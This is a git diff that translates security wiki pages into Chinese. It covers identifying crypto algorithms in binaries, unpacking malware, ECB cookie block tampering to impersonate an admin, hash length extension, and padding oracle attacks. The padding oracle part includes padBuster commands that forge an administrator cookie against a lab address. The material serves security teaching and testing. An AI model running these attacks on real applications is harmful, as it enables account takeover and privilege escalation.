+有时,由于需要使用特殊且唯一的值,识别算法非常简单。
.png>)
-If you search for the first constant in Google this is what you get:
+如果你在谷歌中搜索第一个常量,这就是你得到的结果:
.png>)
-Therefore, you can assume that the decompiled function is a **sha256 calculator.**\
-You can search any of the other constants and you will obtain (probably) the same result.
+因此,你可以假设反编译的函数是**sha256计算器**。\
+你可以搜索其他常量,可能会得到相同的结果。
-### data info
+### 数据信息
-If the code doesn't have any significant constant it may be **loading information from the .data section**.\
-You can access that data, **group the first dword** and search for it in google as we have done in the section before:
+如果代码没有任何显著的常量,它可能在**加载来自.data部分的信息**。\
+你可以访问该数据,**将第一个dword分组**并在谷歌中搜索,就像我们在前面的部分所做的那样:
.png>)
-In this case, if you look for **0xA56363C6** you can find that it's related to the **tables of the AES algorithm**.
+在这种情况下,如果你搜索**0xA56363C6**,你会发现它与**AES算法的表**相关。
-## RC4 **(Symmetric Crypt)**
+## RC4 **(对称加密)**
-### Characteristics
+### 特征
-It's composed of 3 main parts:
+它由三个主要部分组成:
-- **Initialization stage/**: Creates a **table of values from 0x00 to 0xFF** (256bytes in total, 0x100). This table is commonly call **Substitution Box** (or SBox).
-- **Scrambling stage**: Will **loop through the table** crated before (loop of 0x100 iterations, again) creating modifying each value with **semi-random** bytes. In order to create this semi-random bytes, the RC4 **key is used**. RC4 **keys** can be **between 1 and 256 bytes in length**, however it is usually recommended that it is above 5 bytes. Commonly, RC4 keys are 16 bytes in length.
-- **XOR stage**: Finally, the plain-text or cyphertext is **XORed with the values created before**. The function to encrypt and decrypt is the same. For this, a **loop through the created 256 bytes** will be performed as many times as necessary. This is usually recognized in a decompiled code with a **%256 (mod 256)**.
+- **初始化阶段/**:创建一个**从0x00到0xFF的值表**(总共256字节,0x100)。这个表通常称为**替代盒**(或SBox)。
+- **打乱阶段**:将**循环遍历之前创建的表**(0x100次迭代的循环),用**半随机**字节修改每个值。为了创建这些半随机字节,使用RC4**密钥**。RC4**密钥**的长度可以**在1到256字节之间**,但通常建议长度超过5字节。通常,RC4密钥为16字节。
+- **异或阶段**:最后,明文或密文与**之前创建的值进行异或**。加密和解密的函数是相同的。为此,将对创建的256字节进行循环,循环次数根据需要而定。这通常在反编译的代码中通过**%256(模256)**来识别。
> [!NOTE]
-> **In order to identify a RC4 in a disassembly/decompiled code you can check for 2 loops of size 0x100 (with the use of a key) and then a XOR of the input data with the 256 values created before in the 2 loops probably using a %256 (mod 256)**
+> **为了在反汇编/反编译代码中识别RC4,你可以检查两个大小为0x100的循环(使用密钥),然后将输入数据与之前在两个循环中创建的256个值进行异或,可能使用%256(模256)**
-### **Initialization stage/Substitution Box:** (Note the number 256 used as counter and how a 0 is written in each place of the 256 chars)
+### **初始化阶段/替代盒:**(注意用作计数器的数字256,以及在256个字符的每个位置写入0的方式)
.png>)
-### **Scrambling Stage:**
+### **打乱阶段:**
.png>)
-### **XOR Stage:**
+### **异或阶段:**
.png>)
-## **AES (Symmetric Crypt)**
+## **AES (对称加密)**
-### **Characteristics**
+### **特征**
-- Use of **substitution boxes and lookup tables**
- - It's possible to **distinguish AES thanks to the use of specific lookup table values** (constants). _Note that the **constant** can be **stored** in the binary **or created**_ _**dynamically**._
-- The **encryption key** must be **divisible** by **16** (usually 32B) and usually an **IV** of 16B is used.
+- 使用**替代盒和查找表**
+- 由于使用特定查找表值(常量),可以**区分AES**。_注意**常量**可以**存储**在二进制中**或动态**_**创建**。_
+- **加密密钥**必须是**16的倍数**(通常为32B),并且通常使用16B的**IV**。
-### SBox constants
+### SBox 常量
.png>)
-## Serpent **(Symmetric Crypt)**
+## Serpent **(对称加密)**
-### Characteristics
+### 特征
-- It's rare to find some malware using it but there are examples (Ursnif)
-- Simple to determine if an algorithm is Serpent or not based on it's length (extremely long function)
+- 很少发现某些恶意软件使用它,但有例子(Ursnif)
+- 根据其长度(极长的函数)简单判断算法是否为Serpent
-### Identifying
+### 识别
-In the following image notice how the constant **0x9E3779B9** is used (note that this constant is also used by other crypto algorithms like **TEA** -Tiny Encryption Algorithm).\
-Also note the **size of the loop** (**132**) and the **number of XOR operations** in the **disassembly** instructions and in the **code** example:
+在下图中注意常量**0x9E3779B9**的使用(注意该常量也被其他加密算法如**TEA** - Tiny Encryption Algorithm使用)。\
+还要注意**循环的大小**(**132**)和**反汇编**指令中的**异或操作**数量以及**代码**示例:
.png>)
-As it was mentioned before, this code can be visualized inside any decompiler as a **very long function** as there **aren't jumps** inside of it. The decompiled code can look like the following:
+如前所述,这段代码可以在任何反编译器中可视化为**非常长的函数**,因为其中**没有跳转**。反编译的代码可能看起来如下:
.png>)
-Therefore, it's possible to identify this algorithm checking the **magic number** and the **initial XORs**, seeing a **very long function** and **comparing** some **instructions** of the long function **with an implementation** (like the shift left by 7 and the rotate left by 22).
+因此,可以通过检查**魔法数字**和**初始异或**来识别此算法,看到**非常长的函数**并**比较**一些**指令**与长函数的**实现**(如左移7和左旋转22)。
-## RSA **(Asymmetric Crypt)**
+## RSA **(非对称加密)**
-### Characteristics
+### 特征
-- More complex than symmetric algorithms
-- There are no constants! (custom implementation are difficult to determine)
-- KANAL (a crypto analyzer) fails to show hints on RSA ad it relies on constants.
+- 比对称算法更复杂
+- 没有常量!(自定义实现难以确定)
+- KANAL(加密分析器)未能显示RSA的提示,因为它依赖于常量。
-### Identifying by comparisons
+### 通过比较识别
.png>)
-- In line 11 (left) there is a `+7) >> 3` which is the same as in line 35 (right): `+7) / 8`
-- Line 12 (left) is checking if `modulus_len < 0x040` and in line 36 (right) it's checking if `inputLen+11 > modulusLen`
+- 在第11行(左)有一个`+7) >> 3`,与第35行(右)相同:`+7) / 8`
+- 第12行(左)检查`modulus_len < 0x040`,而第36行(右)检查`inputLen+11 > modulusLen`
-## MD5 & SHA (hash)
+## MD5 & SHA(哈希)
-### Characteristics
+### 特征
-- 3 functions: Init, Update, Final
-- Similar initialize functions
+- 3个函数:Init、Update、Final
+- 初始化函数相似
-### Identify
+### 识别
**Init**
-You can identify both of them checking the constants. Note that the sha_init has 1 constant that MD5 doesn't have:
+你可以通过检查常量来识别它们。注意sha_init有一个MD5没有的常量:
.png>)
**MD5 Transform**
-Note the use of more constants
+注意使用了更多常量
 (1) (1).png>)
-## CRC (hash)
+## CRC(哈希)
-- Smaller and more efficient as it's function is to find accidental changes in data
-- Uses lookup tables (so you can identify constants)
+- 更小且更高效,因为它的功能是查找数据中的意外更改
+- 使用查找表(因此你可以识别常量)
-### Identify
+### 识别
-Check **lookup table constants**:
+检查**查找表常量**:
.png>)
-A CRC hash algorithm looks like:
+CRC哈希算法看起来像:
.png>)
-## APLib (Compression)
+## APLib(压缩)
-### Characteristics
+### 特征
-- Not recognizable constants
-- You can try to write the algorithm in python and search for similar things online
+- 没有可识别的常量
+- 你可以尝试用python编写算法并在线搜索类似的东西
-### Identify
+### 识别
-The graph is quiet large:
+图表相当大:
 (2) (1).png>)
-Check **3 comparisons to recognise it**:
+检查**3个比较以识别它**:
.png>)
diff --git a/src/crypto-and-stego/cryptographic-algorithms/unpacking-binaries.md b/src/crypto-and-stego/cryptographic-algorithms/unpacking-binaries.md
index 6699ec26f..68921b223 100644
--- a/src/crypto-and-stego/cryptographic-algorithms/unpacking-binaries.md
+++ b/src/crypto-and-stego/cryptographic-algorithms/unpacking-binaries.md
@@ -1,24 +1,24 @@
{{#include ../../banners/hacktricks-training.md}}
-# Identifying packed binaries
+# 识别打包的二进制文件
-- **lack of strings**: It's common to find that packed binaries doesn't have almost any string
-- A lot of **unused strings**: Also, when a malware is using some kind of commercial packer it's common to find a lot of strings without cross-references. Even if these strings exist that doesn't mean that the binary isn't packed.
-- You can also use some tools to try to find which packer was used to pack a binary:
- - [PEiD](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml)
- - [Exeinfo PE](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/ExEinfo-PE.shtml)
- - [Language 2000](http://farrokhi.net/language/)
+- **缺乏字符串**:常见的情况是打包的二进制文件几乎没有任何字符串
+- 很多 **未使用的字符串**:此外,当恶意软件使用某种商业打包工具时,常常会发现很多没有交叉引用的字符串。即使这些字符串存在,也并不意味着二进制文件没有被打包。
+- 你还可以使用一些工具来尝试找出用于打包二进制文件的打包工具:
+- [PEiD](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml)
+- [Exeinfo PE](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/ExEinfo-PE.shtml)
+- [Language 2000](http://farrokhi.net/language/)
-# Basic Recommendations
+# 基本建议
-- **Start** analysing the packed binary **from the bottom in IDA and move up**. Unpackers exit once the unpacked code exit so it's unlikely that the unpacker passes execution to the unpacked code at the start.
-- Search for **JMP's** or **CALLs** to **registers** or **regions** of **memory**. Also search for **functions pushing arguments and an address direction and then calling `retn`**, because the return of the function in that case may call the address just pushed to the stack before calling it.
-- Put a **breakpoint** on `VirtualAlloc` as this allocates space in memory where the program can write unpacked code. The "run to user code" or use F8 to **get to value inside EAX** after executing the function and "**follow that address in dump**". You never know if that is the region where the unpacked code is going to be saved.
- - **`VirtualAlloc`** with the value "**40**" as an argument means Read+Write+Execute (some code that needs execution is going to be copied here).
-- **While unpacking** code it's normal to find **several calls** to **arithmetic operations** and functions like **`memcopy`** or **`Virtual`**`Alloc`. If you find yourself in a function that apparently only perform arithmetic operations and maybe some `memcopy` , the recommendation is to try to **find the end of the function** (maybe a JMP or call to some register) **or** at least the **call to the last function** and run to then as the code isn't interesting.
-- While unpacking code **note** whenever you **change memory region** as a memory region change may indicate the **starting of the unpacking code**. You can easily dump a memory region using Process Hacker (process --> properties --> memory).
-- While trying to unpack code a good way to **know if you are already working with the unpacked code** (so you can just dump it) is to **check the strings of the binary**. If at some point you perform a jump (maybe changing the memory region) and you notice that **a lot more strings where added**, then you can know **you are working with the unpacked code**.\
- However, if the packer already contains a lot of strings you can see how many strings contains the word "http" and see if this number increases.
-- When you dump an executable from a region of memory you can fix some headers using [PE-bear](https://github.com/hasherezade/pe-bear-releases/releases).
+- **从底部开始**分析打包的二进制文件**在 IDA 中向上移动**。解包器在解包代码退出时退出,因此解包器不太可能在开始时将执行传递给解包的代码。
+- 搜索 **JMP** 或 **CALL** 到 **寄存器** 或 **内存区域**。还要搜索 **推送参数和地址方向的函数,然后调用 `retn`**,因为在这种情况下,函数的返回可能会调用在调用之前刚推送到堆栈的地址。
+- 在 `VirtualAlloc` 上设置 **断点**,因为这会在内存中分配程序可以写入解包代码的空间。使用“运行到用户代码”或使用 F8 **获取执行函数后 EAX 中的值**,然后“**跟踪转储中的地址**”。你永远不知道这是否是解包代码将要保存的区域。
+- **`VirtualAlloc`** 的值 "**40**" 作为参数意味着可读+可写+可执行(一些需要执行的代码将被复制到这里)。
+- **在解包**代码时,通常会发现 **多个调用** 到 **算术操作** 和像 **`memcopy`** 或 **`Virtual`**`Alloc` 这样的函数。如果你发现自己在一个显然只执行算术操作的函数中,可能还有一些 `memcopy`,建议尝试 **找到函数的结束**(可能是 JMP 或调用某个寄存器)**或**至少找到 **最后一个函数的调用**,然后运行到那里,因为代码并不有趣。
+- 在解包代码时 **注意** 每当你 **更改内存区域**,因为内存区域的变化可能表示 **解包代码的开始**。你可以使用 Process Hacker 轻松转储内存区域(进程 --> 属性 --> 内存)。
+- 在尝试解包代码时,知道你是否已经在处理解包代码的好方法(这样你可以直接转储它)是 **检查二进制文件的字符串**。如果在某个时刻你执行了跳转(可能更改了内存区域),并且你注意到 **添加了更多字符串**,那么你可以知道 **你正在处理解包的代码**。\
+然而,如果打包工具已经包含了很多字符串,你可以查看包含“http”这个词的字符串数量,看看这个数字是否增加。
+- 当你从内存区域转储可执行文件时,可以使用 [PE-bear](https://github.com/hasherezade/pe-bear-releases/releases) 修复一些头部。
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/crypto-and-stego/electronic-code-book-ecb.md b/src/crypto-and-stego/electronic-code-book-ecb.md
index a09798b1e..482e087f6 100644
--- a/src/crypto-and-stego/electronic-code-book-ecb.md
+++ b/src/crypto-and-stego/electronic-code-book-ecb.md
@@ -2,72 +2,66 @@
# ECB
-(ECB) Electronic Code Book - symmetric encryption scheme which **replaces each block of the clear text** by the **block of ciphertext**. It is the **simplest** encryption scheme. The main idea is to **split** the clear text into **blocks of N bits** (depends on the size of the block of input data, encryption algorithm) and then to encrypt (decrypt) each block of clear text using the only key.
+(ECB) 电子密码本 - 对称加密方案,**将明文的每个块**替换为**密文的块**。这是**最简单**的加密方案。其主要思想是将明文**分割**为**N位的块**(取决于输入数据块的大小和加密算法),然后使用唯一的密钥对每个明文块进行加密(解密)。

-Using ECB has multiple security implications:
+使用ECB有多种安全隐患:
-- **Blocks from encrypted message can be removed**
-- **Blocks from encrypted message can be moved around**
+- **可以删除加密消息中的块**
+- **可以移动加密消息中的块**
-# Detection of the vulnerability
+# 漏洞检测
-Imagine you login into an application several times and you **always get the same cookie**. This is because the cookie of the application is **`|`**.\
-Then, you generate to new users, both of them with the **same long password** and **almost** the **same** **username**.\
-You find out that the **blocks of 8B** where the **info of both users** is the same are **equals**. Then, you imagine that this might be because **ECB is being used**.
-
-Like in the following example. Observe how these** 2 decoded cookies** has several times the block **`\x23U\xE45K\xCB\x21\xC8`**
+想象一下,你多次登录一个应用程序,并且**总是获得相同的cookie**。这是因为该应用程序的cookie是**`|`**。\
+然后,你生成两个新用户,他们都有**相同的长密码**和**几乎相同的** **用户名**。\
+你发现**8B的块**中**两个用户的信息**是**相等**的。然后,你想象这可能是因为**正在使用ECB**。
+如以下示例所示。观察这**两个解码的cookie**中有几次块**`\x23U\xE45K\xCB\x21\xC8`**。
```
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
```
+这是因为这些 cookie 的 **用户名和密码包含了多次字母 "a"**(例如)。**不同的** **块** 是包含 **至少 1 个不同字符** 的块(可能是分隔符 "|" 或用户名中的某些必要差异)。
-This is because the **username and password of those cookies contained several times the letter "a"** (for example). The **blocks** that are **different** are blocks that contained **at least 1 different character** (maybe the delimiter "|" or some necessary difference in the username).
+现在,攻击者只需发现格式是 `` 还是 ``。为此,他可以 **生成多个相似且较长的用户名和密码,直到找到格式和分隔符的长度:**
-Now, the attacker just need to discover if the format is `` or ``. For doing that, he can just **generate several usernames **with s**imilar and long usernames and passwords until he find the format and the length of the delimiter:**
+| 用户名长度: | 密码长度: | 用户名+密码长度: | Cookie 长度(解码后): |
+| ------------ | ---------- | ----------------- | ----------------------- |
+| 2 | 2 | 4 | 8 |
+| 3 | 3 | 6 | 8 |
+| 3 | 4 | 7 | 8 |
+| 4 | 4 | 8 | 16 |
+| 7 | 7 | 14 | 16 |
-| Username length: | Password length: | Username+Password length: | Cookie's length (after decoding): |
-| ---------------- | ---------------- | ------------------------- | --------------------------------- |
-| 2 | 2 | 4 | 8 |
-| 3 | 3 | 6 | 8 |
-| 3 | 4 | 7 | 8 |
-| 4 | 4 | 8 | 16 |
-| 7 | 7 | 14 | 16 |
+# 漏洞利用
-# Exploitation of the vulnerability
-
-## Removing entire blocks
-
-Knowing the format of the cookie (`|`), in order to impersonate the username `admin` create a new user called `aaaaaaaaadmin` and get the cookie and decode it:
+## 移除整个块
+知道 cookie 的格式(`|`),为了冒充用户名 `admin`,创建一个名为 `aaaaaaaaadmin` 的新用户并获取 cookie 并解码它:
```
\x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
```
-
-We can see the pattern `\x23U\xE45K\xCB\x21\xC8` created previously with the username that contained only `a`.\
-Then, you can remove the first block of 8B and you will et a valid cookie for the username `admin`:
-
+我们可以看到之前用仅包含 `a` 的用户名创建的模式 `\x23U\xE45K\xCB\x21\xC8`。\
+然后,您可以删除第一个 8B 块,您将获得一个有效的用户名 `admin` 的 cookie:
```
\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
```
+## 移动块
-## Moving blocks
+在许多数据库中,搜索 `WHERE username='admin';` 或 `WHERE username='admin ';` 是一样的 _(注意额外的空格)_
-In many databases it is the same to search for `WHERE username='admin';` or for `WHERE username='admin ';` _(Note the extra spaces)_
+因此,冒充用户 `admin` 的另一种方法是:
-So, another way to impersonate the user `admin` would be to:
+- 生成一个用户名:`len() + len(` 将生成 2 个 8B 的块。
+- 然后,生成一个密码,填充包含我们想要冒充的用户名和空格的确切块数,例如:`admin `
-- Generate a username that: `len() + len(` will generate 2 blocks of 8Bs.
-- Then, generate a password that will fill an exact number of blocks containing the username we want to impersonate and spaces, like: `admin `
+该用户的 cookie 将由 3 个块组成:前 2 个是用户名 + 分隔符的块,第三个是密码(伪装成用户名):`username |admin `
-The cookie of this user is going to be composed by 3 blocks: the first 2 is the blocks of the username + delimiter and the third one of the password (which is faking the username): `username |admin `
+**然后,只需用最后一个块替换第一个块,就可以冒充用户 `admin`:`admin |username`**
-**Then, just replace the first block with the last time and will be impersonating the user `admin`: `admin |username`**
-
-## References
+## 参考
- [http://cryptowiki.net/index.php?title=Electronic_Code_Book\_(ECB)]()
diff --git a/src/crypto-and-stego/esoteric-languages.md b/src/crypto-and-stego/esoteric-languages.md
index 2faf6564f..05c2aadbe 100644
--- a/src/crypto-and-stego/esoteric-languages.md
+++ b/src/crypto-and-stego/esoteric-languages.md
@@ -1,18 +1,16 @@
-# Esoteric languages
+# 神秘语言
{{#include ../banners/hacktricks-training.md}}
## [Esolangs Wiki](https://esolangs.org/wiki/Main_Page)
-Check that wiki to search more esotreic languages
+查看该维基以搜索更多神秘语言
## Malbolge
-
```
('&%:9]!~}|z2Vxwv-,POqponl$Hjig%eB@@>}=
```
-
[http://malbolge.doleczek.pl/](http://malbolge.doleczek.pl)
## npiet
@@ -22,7 +20,6 @@ Check that wiki to search more esotreic languages
[https://www.bertnase.de/npiet/npiet-execute.php](https://www.bertnase.de/npiet/npiet-execute.php)
## Rockstar
-
```
Midnight takes your heart and your soul
While your heart is as high as your soul
@@ -51,11 +48,9 @@ Take it to the top
Whisper my world
```
-
{% embed url="https://codewithrockstar.com/" %}
## PETOOH
-
```
KoKoKoKoKoKoKoKoKoKo Kud-Kudah
KoKoKoKoKoKoKoKo kudah kO kud-Kudah Kukarek kudah
@@ -65,5 +60,4 @@ KoKoKoKo Kud-Kudah KoKoKoKo kudah kO kud-Kudah kO Kukarek
kOkOkOkOkO Kukarek Kukarek kOkOkOkOkOkOkO
Kukarek
```
-
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/crypto-and-stego/hash-length-extension-attack.md b/src/crypto-and-stego/hash-length-extension-attack.md
index 51a38df3f..4c274ae84 100644
--- a/src/crypto-and-stego/hash-length-extension-attack.md
+++ b/src/crypto-and-stego/hash-length-extension-attack.md
@@ -2,37 +2,37 @@
{{#include ../banners/hacktricks-training.md}}
-## Summary of the attack
+## 攻击概述
-Imagine a server which is **signing** some **data** by **appending** a **secret** to some known clear text data and then hashing that data. If you know:
+想象一个服务器,它通过将一个**秘密**附加到一些已知的明文数据上并对该数据进行**签名**。如果你知道:
-- **The length of the secret** (this can be also bruteforced from a given length range)
-- **The clear text data**
-- **The algorithm (and it's vulnerable to this attack)**
-- **The padding is known**
- - Usually a default one is used, so if the other 3 requirements are met, this also is
- - The padding vary depending on the length of the secret+data, that's why the length of the secret is needed
+- **秘密的长度**(这也可以从给定的长度范围进行暴力破解)
+- **明文数据**
+- **算法(并且它对这种攻击是脆弱的)**
+- **填充是已知的**
+- 通常使用默认填充,因此如果满足其他三个要求,这也是
+- 填充根据秘密+数据的长度而变化,这就是为什么需要知道秘密的长度
-Then, it's possible for an **attacker** to **append** **data** and **generate** a valid **signature** for the **previous data + appended data**.
+那么,**攻击者**可以**附加****数据**并为**之前的数据 + 附加的数据**生成一个有效的**签名**。
-### How?
+### 如何?
-Basically the vulnerable algorithms generate the hashes by firstly **hashing a block of data**, and then, **from** the **previously** created **hash** (state), they **add the next block of data** and **hash it**.
+基本上,脆弱的算法首先通过**哈希一个数据块**来生成哈希,然后,从**之前**创建的**哈希**(状态)中,他们**添加下一个数据块**并**对其进行哈希**。
-Then, imagine that the secret is "secret" and the data is "data", the MD5 of "secretdata" is 6036708eba0d11f6ef52ad44e8b74d5b.\
-If an attacker wants to append the string "append" he can:
+然后,想象秘密是“secret”,数据是“data”,"secretdata"的MD5是6036708eba0d11f6ef52ad44e8b74d5b。\
+如果攻击者想要附加字符串“append”,他可以:
-- Generate a MD5 of 64 "A"s
-- Change the state of the previously initialized hash to 6036708eba0d11f6ef52ad44e8b74d5b
-- Append the string "append"
-- Finish the hash and the resulting hash will be a **valid one for "secret" + "data" + "padding" + "append"**
+- 生成64个“A”的MD5
+- 将之前初始化的哈希状态更改为6036708eba0d11f6ef52ad44e8b74d5b
+- 附加字符串“append”
+- 完成哈希,结果哈希将是“secret” + “data” + “padding” + “append”的**有效哈希**
-### **Tool**
+### **工具**
{% embed url="https://github.com/iagox86/hash_extender" %}
-### References
+### 参考
-You can find this attack good explained in [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
+你可以在[https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)找到对此攻击的详细解释。
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/crypto-and-stego/padding-oracle-priv.md b/src/crypto-and-stego/padding-oracle-priv.md
index 96d3145a3..51ec03066 100644
--- a/src/crypto-and-stego/padding-oracle-priv.md
+++ b/src/crypto-and-stego/padding-oracle-priv.md
@@ -2,26 +2,24 @@
{{#include ../banners/hacktricks-training.md}}
-{% embed url="https://websec.nl/" %}
+## CBC - 密码块链接
-## CBC - Cipher Block Chaining
-
-In CBC mode the **previous encrypted block is used as IV** to XOR with the next block:
+在 CBC 模式下,**前一个加密块用作 IV**,与下一个块进行异或操作:

-To decrypt CBC the **opposite** **operations** are done:
+要解密 CBC,需进行**相反的** **操作**:

-Notice how it's needed to use an **encryption** **key** and an **IV**.
+注意需要使用**加密** **密钥**和**IV**。
-## Message Padding
+## 消息填充
-As the encryption is performed in **fixed** **size** **blocks**, **padding** is usually needed in the **last** **block** to complete its length.\
-Usually **PKCS7** is used, which generates a padding **repeating** the **number** of **bytes** **needed** to **complete** the block. For example, if the last block is missing 3 bytes, the padding will be `\x03\x03\x03`.
+由于加密是在**固定** **大小** **块**中进行的,通常需要在**最后** **块**中进行**填充**以完成其长度。\
+通常使用**PKCS7**,它生成的填充**重复**所需的**字节** **数**以**完成**块。例如,如果最后一个块缺少 3 个字节,填充将是 `\x03\x03\x03`。
-Let's look at more examples with a **2 blocks of length 8bytes**:
+让我们看更多的例子,使用**2 个长度为 8 字节的块**:
| byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 |
| ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- |
@@ -30,51 +28,43 @@ Let's look at more examples with a **2 blocks of length 8bytes**:
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
| P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
-Note how in the last example the **last block was full so another one was generated only with padding**.
+注意在最后一个例子中,**最后一个块是满的,因此只生成了一个填充块**。
-## Padding Oracle
+## 填充 Oracle
-When an application decrypts encrypted data, it will first decrypt the data; then it will remove the padding. During the cleanup of the padding, if an **invalid padding triggers a detectable behaviour**, you have a **padding oracle vulnerability**. The detectable behaviour can be an **error**, a **lack of results**, or a **slower response**.
+当应用程序解密加密数据时,它将首先解密数据;然后将移除填充。在清理填充的过程中,如果**无效填充触发可检测的行为**,则存在**填充 oracle 漏洞**。可检测的行为可以是**错误**、**缺少结果**或**响应变慢**。
-If you detect this behaviour, you can **decrypt the encrypted data** and even **encrypt any cleartext**.
+如果您检测到这种行为,您可以**解密加密数据**,甚至**加密任何明文**。
-### How to exploit
-
-You could use [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) to exploit this kind of vulnerability or just do
+### 如何利用
+您可以使用 [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) 来利用这种漏洞,或者直接进行
```
sudo apt-get install padbuster
```
-
-In order to test if the cookie of a site is vulnerable you could try:
-
+为了测试一个网站的cookie是否存在漏洞,你可以尝试:
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA=="
```
+**编码 0** 意味着使用 **base64**(但还有其他可用的编码,请查看帮助菜单)。
-**Encoding 0** means that **base64** is used (but others are available, check the help menu).
-
-You could also **abuse this vulnerability to encrypt new data. For example, imagine that the content of the cookie is "**_**user=MyUsername**_**", then you may change it to "\_user=administrator\_" and escalate privileges inside the application. You could also do it using `paduster`specifying the -plaintext** parameter:
-
+您还可以 **利用此漏洞加密新数据。例如,假设 cookie 的内容是 "**_**user=MyUsername**_**",那么您可以将其更改为 "\_user=administrator\_",并在应用程序中提升权限。您还可以使用 `paduster` 指定 -plaintext** 参数来实现这一点:
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
```
-
-If the site is vulnerable `padbuster`will automatically try to find when the padding error occurs, but you can also indicating the error message it using the **-error** parameter.
-
+如果网站存在漏洞,`padbuster`将自动尝试查找何时发生填充错误,但您也可以使用**-error**参数指示错误消息。
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding"
```
+### 理论
-### The theory
-
-In **summary**, you can start decrypting the encrypted data by guessing the correct values that can be used to create all the **different paddings**. Then, the padding oracle attack will start decrypting bytes from the end to the start by guessing which will be the correct value that **creates a padding of 1, 2, 3, etc**.
+**总结**来说,您可以通过猜测可以用于创建所有**不同填充**的正确值来开始解密加密数据。然后,填充oracle攻击将从末尾到开头解密字节,猜测哪个将是**创建1、2、3等填充的正确值**。
.png>)
-Imagine you have some encrypted text that occupies **2 blocks** formed by the bytes from **E0 to E15**.\
-In order to **decrypt** the **last** **block** (**E8** to **E15**), the whole block passes through the "block cipher decryption" generating the **intermediary bytes I0 to I15**.\
-Finally, each intermediary byte is **XORed** with the previous encrypted bytes (E0 to E7). So:
+想象一下,您有一些加密文本,占据由**E0到E15**的**2个块**。\
+为了**解密**最后一个**块**(**E8**到**E15**),整个块通过“块密码解密”,生成**中间字节I0到I15**。\
+最后,每个中间字节与之前的加密字节(E0到E7)进行**异或**运算。因此:
- `C15 = D(E15) ^ E7 = I15 ^ E7`
- `C14 = I14 ^ E6`
@@ -82,31 +72,30 @@ Finally, each intermediary byte is **XORed** with the previous encrypted bytes (
- `C12 = I12 ^ E4`
- ...
-Now, It's possible to **modify `E7` until `C15` is `0x01`**, which will also be a correct padding. So, in this case: `\x01 = I15 ^ E'7`
+现在,可以**修改`E7`直到`C15`为`0x01`**,这也将是一个正确的填充。因此,在这种情况下:`\x01 = I15 ^ E'7`
-So, finding E'7, it's **possible to calculate I15**: `I15 = 0x01 ^ E'7`
+因此,找到E'7后,可以**计算I15**:`I15 = 0x01 ^ E'7`
-Which allow us to **calculate C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
+这使我们能够**计算C15**:`C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
-Knowing **C15**, now it's possible to **calculate C14**, but this time brute-forcing the padding `\x02\x02`.
+知道**C15**后,现在可以**计算C14**,但这次是通过暴力破解填充`\x02\x02`。
-This BF is as complex as the previous one as it's possible to calculate the the `E''15` whose value is 0x02: `E''7 = \x02 ^ I15` so it's just needed to find the **`E'14`** that generates a **`C14` equals to `0x02`**.\
-Then, do the same steps to decrypt C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
+这个暴力破解与之前的复杂度相同,因为可以计算出值为0x02的`E''15`:`E''7 = \x02 ^ I15`,因此只需找到生成**`C14`等于`0x02`的**`E'14`。\
+然后,执行相同的步骤来解密C14:**`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
-**Follow this chain until you decrypt the whole encrypted text.**
+**按照这个链条,直到您解密整个加密文本。**
-### Detection of the vulnerability
+### 漏洞检测
-Register and account and log in with this account .\
-If you **log in many times** and always get the **same cookie**, there is probably **something** **wrong** in the application. The **cookie sent back should be unique** each time you log in. If the cookie is **always** the **same**, it will probably always be valid and there **won't be anyway to invalidate i**t.
+注册并使用该账户登录。\
+如果您**多次登录**并始终获得**相同的cookie**,那么应用程序中可能**存在问题**。每次登录时**返回的cookie应该是唯一的**。如果cookie**始终**相同,它可能始终有效,并且**无法使其失效**。
-Now, if you try to **modify** the **cookie**, you can see that you get an **error** from the application.\
